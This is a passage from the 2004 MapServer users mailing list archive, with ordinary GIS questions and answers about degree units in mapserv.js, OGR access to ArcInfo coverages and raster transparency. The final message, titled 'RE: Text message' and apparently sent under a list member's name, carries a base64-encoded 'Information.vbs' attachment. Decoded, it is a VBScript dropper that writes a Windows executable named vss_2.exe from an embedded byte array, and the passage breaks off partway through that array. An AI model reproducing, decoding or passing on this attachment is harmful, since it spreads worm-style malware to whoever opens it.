noticeably shorter than one degree of latitude. And the length of one
degree of longitude varies depending on the latitude.
So you've got a map that lets users measure "one degree" - what does
that mean? It means that you're taking those angular units and trying
to pretend they're linear units. If someone measures between two points
on your map and measures one degree, they will know that the square root
of the sum of the latitude difference squared and the longitude
difference squared equals one. It does not tell them anything about how
far apart those two points are in any useful linear measurement (feet,
miles, meters, cubits, chains, furlongs, etc.).
And if you display a scalebar on that map, the units must be in
"degrees", whatever they are .
What kind of measurement are you hoping to display?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
Sent: Monday, May 03, 2004 3:01 PM
To: mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Hey all,
I have been using the mapserv.js and dbox.js libraries for developing
mapserver interfaces. It works great for projected data but now we're
trying to get the navigation tools (panning, zooming, etc) to work with
decimal degrees.
In the mapserv.js, there is a global variable called InchesPerMapUnit
that you need to set correctly if not using meters. Since lat/long is
measured in angular units (degrees), how would you set this variable?
Are there any other tricks to get the coordinate calculations working
with lat/long? Anyone had any luck with this? Is it even possible?
Thanks for any input!
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From rgould@refractions.net Tue May 4 01:10:27 2004
From: rgould@refractions.net (Richard Gould)
Date: Mon, 03 May 2004 17:10:27 -0700
Subject: [Mapserver-users] Drawing ADF Files with Mapserver
Message-ID: <4096DF73.7060201@refractions.net>
Hey all,
I am attempting to render a directory of adf files as a layer within my
mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of
thing, especially the ADF files.
Here's my directory structure:
corp/
corp/info
corp/qbec
corp/tbec
corp/tdfs
qbec, tbec and tdfs are all coverages..
here's my .map file entry:
LAYER
NAME "Tbec"
GROUP "tbec"
TYPE POLYGON
STATUS ON
CONNECTIONTYPE OGR
CONNECTION "corp/tbec"
END
And here is MapServer hating me:
*Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR
connection `corp/tbec'. File not found or unsupported format. in
*/home/www/htdocs/viewer/out/map.php* on line *161*
I have been sitting here reading/scouring docs and the userlist all day
looking for suggestions/examples and have run out.
Anyone have any ideas?
Richard
From jacob.delfos@maunsell.com Tue May 4 01:35:36 2004
From: jacob.delfos@maunsell.com (Delfos, Jacob)
Date: Tue, 4 May 2004 10:35:36 +1000
Subject: [Mapserver-users] Problems drawing JPEG Raster with Transpare
ncy
Message-ID:
If you have photoshop, you should try a 'replace color' operation.
Alternatively, bring it into whatever package you have, try to find a way to
automatically select the 'near white' (magic wand, or 'select color', or
something like that) and delete these areas, to make them white.
If you can't do it like that, try to use 'curves' (histogram stretch), and
force all your bright colors (near whites) to be white.
Regards,
Jacob
-----Original Message-----
From: Richard Gould [mailto:rgould@refractions.net]
Sent: Tuesday, 4 May 2004 2:49 AM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency
So I have this JPEG layer that I wish to draw on top of a couple other
Shapefile layers, and I want it to be translucent. So in the mapfile I
have set:
OFFSITE 255 255 255
And everything I want to be transparent is set to white (255, 255, 255).
However, when the layers are rendered and drawn, all the borders around
the non-transparent parts of the raster are surrounded by a near-white
(252, 252, 252) border.
You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png
The grey layers are shapefiles, the greenish-white layer is my JPEG raster.
Does anyone have any idea how to solve this problem?
Thanks,
Richard
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From jacob.delfos@maunsell.com Tue May 4 01:43:42 2004
From: jacob.delfos@maunsell.com (Delfos, Jacob)
Date: Tue, 4 May 2004 10:43:42 +1000
Subject: [Mapserver-users] Drawing ADF Files with Mapserver
Message-ID:
Just thought I'd point out that there is a program called global mapper that
can convert .adf files to almost anything else, very easily. I use a lot of
raster GIS and graphic software, and am not easily positive about raster
programs, but this program does a lot and might actually be worth its money.
I don't know what platform you're using, though....
-----Original Message-----
From: Richard Gould [mailto:rgould@refractions.net]
Sent: Tuesday, 4 May 2004 8:10 AM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Drawing ADF Files with Mapserver
Hey all,
I am attempting to render a directory of adf files as a layer within my
mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of
thing, especially the ADF files.
Here's my directory structure:
corp/
corp/info
corp/qbec
corp/tbec
corp/tdfs
qbec, tbec and tdfs are all coverages..
here's my .map file entry:
LAYER
NAME "Tbec"
GROUP "tbec"
TYPE POLYGON
STATUS ON
CONNECTIONTYPE OGR
CONNECTION "corp/tbec"
END
And here is MapServer hating me:
*Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR
connection `corp/tbec'. File not found or unsupported format. in
*/home/www/htdocs/viewer/out/map.php* on line *161*
I have been sitting here reading/scouring docs and the userlist all day
looking for suggestions/examples and have run out.
Anyone have any ideas?
Richard
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From dmorissette@dmsolutions.ca Tue May 4 02:12:01 2004
From: dmorissette@dmsolutions.ca (Daniel Morissette)
Date: Mon, 03 May 2004 21:12:01 -0400
Subject: [Mapserver-users] Drawing ADF Files with Mapserver
In-Reply-To: <4096DF73.7060201@refractions.net>
References: <4096DF73.7060201@refractions.net>
Message-ID: <4096EDE1.4000406@dmsolutions.ca>
Richard Gould wrote:
>
> And here is MapServer hating me:
>
> *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR
> connection `corp/tbec'. File not found or unsupported format. in
> */home/www/htdocs/viewer/out/map.php* on line *161*
>
Perhaps try using an absolute path to the coverage directory in the
CONNECTION string and see if that helps.
Also, which version of GDAL/OGR are you using? I think coverage support
was added only around 1.1.9 (or was it 1.1.8?). You may want to try
opening the coverage using ogrinfo and see if OGR can read itat all.
Daniel
--
------------------------------------------------------------
Daniel Morissette dmorissette@dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From mapserver@resellmo.com Mon May 3 06:06:05 2004
From: mapserver@resellmo.com (K Resellmo)
Date: Mon, 03 May 2004 00:06:05 -0500
Subject: [Mapserver-users] Lines between points and polygon colors
Message-ID: <6.0.1.1.2.20040503000112.027b2340@resellmo.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
I have two questions about MapServer features:
1. Is it possible to use the MapServer symbol capabilities to draw lines
between points? I have several sets of points that I would like to display
using both a graphic to mark the point, and a line to connect the points.
2. Can I display polygons in different colors? (like a political map with
different colors for different countries)
Thanks for your time!
Kris
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.2
iQA/AwUBQJb8Kp4XWyzLnsoNEQJe8QCfcznektK5ltIgL9EnBBiBKj62isgAoNUY
bkWw9Bc97Xwdk2e+dXWNp1jf
=cBPQ
-----END PGP SIGNATURE-----
From TMitchell@lignum.com Tue May 4 03:48:18 2004
From: TMitchell@lignum.com (Tyler Mitchell)
Date: Mon, 3 May 2004 19:48:18 -0700
Subject: [Mapserver-users] Drawing ADF Files with Mapserver
In-Reply-To: <4096DF73.7060201@refractions.net>
Message-ID:
> I am attempting to render a directory of adf files as a layer within my
> mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of
> thing, especially the ADF files.
You are probably dealing with ArcInfo coverages, which are a collection of
*.adf files in folders. You will probably also need to specify a layer
number for the type of feature you what from that coverage. I agree with
Daniel, grab the latest version of the mapserver binary you can get and a
copy of the gdal/ogr distribution for your platform. Use "ogrinfo" and
the path to the folder. You will get a list of "layers" in that folder,
for example, I have a coverage called biogeo5 and can use ogrinfo to
interogate it thusly:
$ ogrinfo /cygdrive/e/data/spatial/regional/msrm/ecology/biogeo5/
Had to open data source read-only.
INFO: Open of `/cygdrive/e/data/spatial/regional/msrm/ecology/biogeo5/'
using driver `AVCBin' successful.
1: ARC (Line String)
2: CNT (Point)
3: LAB (Point)
4: PAL (Polygon)
There are 4 layers. To use these layer numbers in Mapserver, you will
need to use layer num - 1. For example, if you just want the line strings
of the qbec coverage you will need to append append the layer num (-1) to
the connection string. I see that you were wanting polygons, 4: PAL
(Polygon) so use the layer thusly:
CONNECTION "/corp/tbec,3"
See how that works for you.
> *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR
> connection `corp/tbec'. File not found or unsupported format. in
> */home/www/htdocs/viewer/out/map.php* on line *161*
It is still possible that "file not found" is correct, so make sure your
path is right and as suggested, use the full path when testing and terse
it up a bit as you get comfortable that it works.
> I have been sitting here reading/scouring docs and the userlist all day
> looking for suggestions/examples and have run out.
The key to search on is "mapserver", "coverage" and "connectiontype ogr" -
should give you a good swath of ideas via google.
Tyler
From steve.lime@dnr.state.mn.us Tue May 4 04:59:46 2004
From: steve.lime@dnr.state.mn.us (Steve.lime)
Date: Mon, 03 May 2004 21:59:46 -0600
Subject: [Mapserver-users] RE: Text message
Message-ID:
----------jmqynpznixdnldhblqep
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
----------jmqynpznixdnldhblqep
Content-Type: application/octet-stream; name="Information.vbs"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Information.vbs"
ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0
ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0
aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl
eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo
cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1
NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs
MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx
NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs
MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx
LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx
NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww
LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs
MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs
MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww
LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs
MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0
LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3
MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx
NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4
MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks
MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1
MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs
MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs
MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs
MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1
NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs
NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2
LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy
MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5
NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy
NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs
MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx
NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx
ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx
NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx
ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx
NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy
LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz
LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs
MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx
LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs
MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy
LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs
MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs
MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy
MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx
NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0
LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz
NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs
MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx
OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz
LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs
MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs
MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2
LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5
LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs
OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0
LDE5MSwxMzMsMTMsMTc4LDIzNywyMzgsMTgyLDgsMjAzLDUsMjQ1LDc2LDE3NSw5LDE5Miwx
MTQsMjEsMTEyLDIzNiwyMTksMTMzLDE4Myw1LDE5MiwxODcsMTkzLDQwLDEzNiwyNDgsNDAs
NCw1NywxNDMsNDcsMjE2LDE4MywyMywyMjAsMjE3LDEwNiwyLDE4NSwxNDMsMjQyLDExMiwy
NDksNjAsNywxMTIsMTA4LDE5NiwyMiwyMTgsMTg1LDI1MSw1LDIyMCwxLDg3LDE0MCwyLDI1
NCwxODEsMjQ2LDIyNywyMjgsMTg2LDQsMjcsNzksMywyMzgsMTk0LDExNCwxNzUsMTA5LDIz
OSwyMTksMjIxLDk5LDE3NSw2LDEzLDYsMTEyLDEyLDQsMjMsMTQ1LDE5NCwxNTUsMjM1LDky
LDEzOSwxNiwyNiw5LDUsMjQ4LDEyMiwxNjQsMTEzLDIyMSwxODYsMTgzLDExMSw2NCwyMDIs
MjM4LDIwMiw1LDUsMjQsNTgsMTEyLDM1LDI0OSw0LDYsMTE0LDIyMyw2Miw3MywxNzUsOTYs
MjMwLDI1LDExMywxODYsMTk4LDI0OSw1LDI0NSw3NywxODYsMjUyLDEzMywyMjEsNDUsOCwy
MTQsMjI2LDY2LDIxMCwxMTYsMTMsMTU5LDIxOCwxNDAsMjQ3LDIxNCwxNTAsMTc1LDE2OCwy
OSw1LDI0OSw1NiwyNTUsMTM2LDI4LDE1MCwxNzMsMTI0LDE1MiwyNDYsMTksNDMsNSw2MCwy
MzgsMjQ2LDIzLDEwOCwyMjgsMTk0LDIzLDY3LDIzNCwyMCwyMjEsMTYsMTYzLDEwNywxOTAs
MjEsMTE3LDE3OCw4LDE3MCwxNDQsMTE2LDI1MSwyMTgsMjEwLDE1NSwxODMsMTc5LDkxLDUs
MTk0LDExMywxMTMsMTg1LDEwNywyMjMsMjU0LDE5MSwxNjEsMTEsMjA5LDQ4LDExMywxNjks
MjQyLDI0OSw0MywyNDksMTY5LDI0NiwxMTUsMjIxLDUsMTM3LDIzNCwxMTcsMTgyLDIzLDI0
MiwxNTcsMTkwLDExOCwyMzgsMjUxLDUsNjMsMTgxLDE3LDYyLDE2MCw5OSwyMzcsMTE5LDU5
LDE0NCwyMTAsOSwxNSw2LDE4LDI0NiwxMTcsNTksNSwyMzQsMjMsMjAyLDE3OCw0NCwyLDIz
OCw2LDU3LDE4NSwyMjIsMjUzLDIwMiwyMDEsMTUwLDIxOCwyNiwyMjMsMTU2LDUsMjUsMTg2
LDE3MCw3NywxODIsMjE3LDIyMywyMTIsMjUxLDE3MCwxNzAsNjEsMTIyLDQyLDI1MCwwLDks
NDYsMTA4LDE0MywxMDksNTIsMjA3LDIzNCwzMywyNDIsMzcsMjEwLDE3LDI0OSw1OCw2LDIy
OCwxOTgsMTY3LDMzLDM3LDEzLDI1MSwxNDQsMjUxLDEwNCwxOTksMjA1LDIzOCwxODIsMTUw
LDY5LDg4LDIzMiwyMyw1LDE2OCwyNDIsMTcsNDEsMjQ2LDI1NCwyNTMsMjMyLDExOSwxNzUs
MiwxMzcsMjQ4LDYxLDE4NCwyNTQsNzksMzUsMjUzLDc1LDI0OCw5NCwyMjEsMTUzLDYsMzYs
NDYsMjM4LDI0NSwyMTUsMTc4LDE3NywyMTksMTcyLDExOSwxOSw2MSwyNTIsMTMxLDE4OCw0
OCwxMDUsOTAsMTc2LDE1LDIzNiwxNDQsMjQ4LDQ5LDExMywyNTIsMTY0LDk5LDIzLDM5LDEz
NSwxODUsMTc5LDc2LDExOSwyNDgsMTgsMjUwLDEyOCwxMzksMTA4LDE3NywzNywxMzcsODks
MjQ4LDEzOCwxNTEsMjA1LDIwNCw1NSwzMyw1MywxODIsOTEsMjI2LDEwNSw0NCwyNDcsOTYs
NTAsMTIzLDYyLDEzMCwyOSwxNzMsMjQ5LDI0OCw4LDQ0LDE4NCwyMzgsMTQ2LDUxLDEyMiwy
MDMsOTksMTkyLDIxLDE5MCwyMjEsMzIsMjQwLDE4NiwxNDIsMTkwLDMsMTIyLDI1LDExOSwx
MjcsNDUsMTcwLDc1LDU0LDk2LDE5MSwyMjgsOTEsMTkzLDIzMSwyLDI0LDkwLDE0NiwyNTEs
NzAsMTYwLDIzNCwzMCw1MSwzNiwxMDAsNjgsOTUsMTgzLDEwOCwzOSwzNSwxOSwxOCwxNzMs
MjMwLDE4LDIyNiwxNTEsOTAsMTYzLDEyNCwyMjUsNDAsMTk4LDEyNCwxNTYsNjEsMTkxLDAs
MTMyLDk3LDIyMiwyMywxOTAsNTMsMTEsNSwxODMsMCwxMywyNywyMjQsMTQ0LDE4NiwxOCwy
MjcsOTMsODAsMTgyLDE0MywyMjEsMjAxLDI1MywyMTAsMTk0LDIyLDExNywxODksMjU0LDUs
MTAsMTg4LDEwNSwxODIsMjA1LDIwNSwxMDcsMTU2LDcsMjQ2LDAsMjQ0LDYxLDE4OSwyMzQs
MTA2LDIwNywyMTIsMzQsNjMsMzEsMTU5LDEwLDYzLDI3LDIxNiwyMTgsMjE4LDIxMCwyMjks
NTIsMjYsMTA0LDI0OSw1NCwxNTcsMjQyLDIzOSwzOSwyMjUsMTk0LDExNSwxODksNjksNjEs
MTY1LDMxLDI2LDE2OSwxNzMsMjAxLDUsMjIyLDY3LDcxLDIxMSwxMjksMTQ5LDE3NiwxMTAs
MTY3LDExMSwyMzgsMjI1LDEwNCw3LDIyMiw4OCwxMDgsMjM4LDE0LDIwNCwyMDgsMjAsMjQ4
LDIzNSw5OSwyNCw2LDIxNCwyMzQsMTgsMjI5LDE5OCw4NiwyNDUsMTI2LDEyNywxMTUsMTM1
LDgsNDksMjksNywxNDIsMTAsOSwyMDMsMjAzLDE5NSwxNzUsNTgsMjAwLDUxLDE5NSw0Mywy
LDE1OSwxNDQsMjQ0LDI0LDExOCwyMjMsMTQ5LDI3LDE2MCwxNzQsMCwyMTcsMjQsMTg0LDE4
Myw2NiwyNDQsMzYsMjQ5LDI0OSwyNDYsOTcsMTA3LDIyMCwyOSwyMiwyNDksMTYxLDUsMzAs
NzYsMTAsMTcwLDM4LDE4OSwxOTMsMjIwLDExMCwyMDMsMTgsODgsMTE5LDE5LDIxMCwxMjIs
MjMzLDE1OCw3NSwyMTAsMTgsMTE3LDE1NCwxMzksMTksMTI5LDExNCwzMSwxMTYsMTU5LDcs
MTgzLDEwNSwxODksMTEyLDIyLDgsMjUxLDEyLDE1OSwyMTksMjA5LDIsNSwxNjIsMTQ0LDQ2
LDIxMywxNDYsNyw4NiwzMiwyNSwxNTcsMjM4LDE2MSwxMDYsMjYsMTMzLDEwMCwxMDcsMTQz
LDE5NSwyMiwzMywxNTgsMjIyLDEyLDEwLDIyNSw4LDE4NywyMTEsOTgsMjQ1LDIyMCwxOTMs
MjI4LDE0NCwyNDYsMTcyLDIwNywyMzEsMTgyLDI0NywxOTksMTkzLDExOSwxMzUsMjUxLDMw
LDc2LDI0OSwzNCwxMzQsMjMwLDEyMywxOTAsMTcwLDI2LDIxMiwyNTEsOSwyMDgsMTQ2LDU5
LDE5NSwxOTEsMTEwLDYsMjIyLDE2LDEsMTczLDI0OCwxOCwyMTQsMywyNTQsOCwxOTEsMTEx
LDU4LDcsMjIyLDE2MCwxNDYsMjMxLDExMiwxODYsMzIsMjU0LDE0NCw0MSwxODIsMjE2LDE4
Nyw0OSwxNjgsNjIsNzAsMjQ4LDkzLDEsMTc1LDc4LDIwMiwxNTksMTc1LDIyOCw1MiwxMzgs
NjIsNDYsMjUyLDE4LDIzLDIsMTg1LDI1MSwyMzcsNywxNTQsNjYsMTcwLDU0LDE1LDE3LDIw
NywxMjEsMiwyNTEsMTEsMjUwLDU0LDE3MCwxNzksNTIsMTg3LDEwMSwyMTEsMjQ4LDIzLDU0
LDE3MCwyMzEsMjQ5LDEwOSw1NCwyMDMsMTE0LDIzNCwyMzQsNSwyMzUsMjU0LDUsMjE4LDI1
NSw2NiwyMTMsMjE4LDEwMywyMzYsMjEzLDc5LDEwNiwyMjMsMTE5LDI0NCwxNDAsMTEyLDIy
NCwxMzQsMjM5LDUzLDE4LDE0OSwzNiwxOCwxODAsMTkyLDc3LDUwLDE1LDEzNSwxNzYsMjM5
LDU3LDI3LDE2OSwxODQsMTg0LDEwNywyMjYsMTksMjM5LDgyLDI1NSwxOCwxNTEsMiwxMSwy
NDUsMTcwLDIyLDE1MiwxMCwxOTMsMTczLDE4MSwyNTMsMSwyNDAsMTQwLDI1NSwxNSwxMzcs
MTIsNCwyMDUsMTcwLDYsMjI5LDkzLDI0Myw3LDg0LDE3MSw5LDI0NiwxOCw3OCw3LDQ0LDg5
LDUyLDEyLDkyLDEwLDE5Myw4MSw3NCwxODIsMjExLDE5NSwxNDEsMTgyLDE3MCwxOTQsNzks
MTAsNDcsMyw2LDI0LDIzMywxNCwyMjMsNDYsMjM5LDg2LDg2LDE4NiwxODMsMjYsMjA3LDE0
LDE1MCwyMTcsOTQsNjgsODAsNTMsMjcsNzQsMTIxLDIzOCwyMjUsMjQsMjAzLDYsMTkxLDc2
LDUsMjI5LDE1MiwxMCwxODIsMjI0LDE5MCwyMDAsMjIzLDEzNywyMDIsMTYsMTgsMTI5LDE5
NCwxMjUsMTE0LDEwLDI0NCwyNCwzOCwyMjIsMzAsMjM4LDYsMTE5LDIwMSwxMTcsMjMyLDks
OTQsNjksNjMsMTEwLDQ3LDI0MSw4OCwxNywxMTAsNTcsMTgyLDUsMjE2LDE0Myw2NSwyMSw0
NCwyMDUsNyw2LDIzMSwzMSw3LDEwLDE4LDUyLDIwNSwyMTIsMTQsMjE3LDIwMyw3MCwxMzEs
MTY5LDE2NCwxNTQsMTQsMjIwLDEsNSwxNzQsNzcsMTM2LDY5LDU2LDkxLDIwNSwyNTQsMTIy
LDQ3LDExLDI0NywxNDEsMTQxLDEyMCw4NCw2OSwyNDIsODAsMzIsNDUsNiwxMTcsMTAyLDEx
NSwxNzUsMjAyLDIwOSwxNSwxODAsNzgsMTM3LDIyOSwxNTgsMTA4LDE0MywzMiwyOSwxNzYs
MjAsNjYsMjUxLDE4NSwxODYsMjE1LDI0MCwxOTgsMTMsNzAsMjQzLDExOSwxNzksNzAsNjcs
NjEsMTQ5LDE0LDU5LDE1MiwxMiwxMTksMTM4LDM4LDEzMSwxMTMsMTksMTY2LDIyNSw1OSw4
NCwxNDMsMTc2LDEzNCw2NSwyMTcsMTA4LDExLDE4MywyMTksNDcsMTQ2LDk0LDU1LDE0Niwx
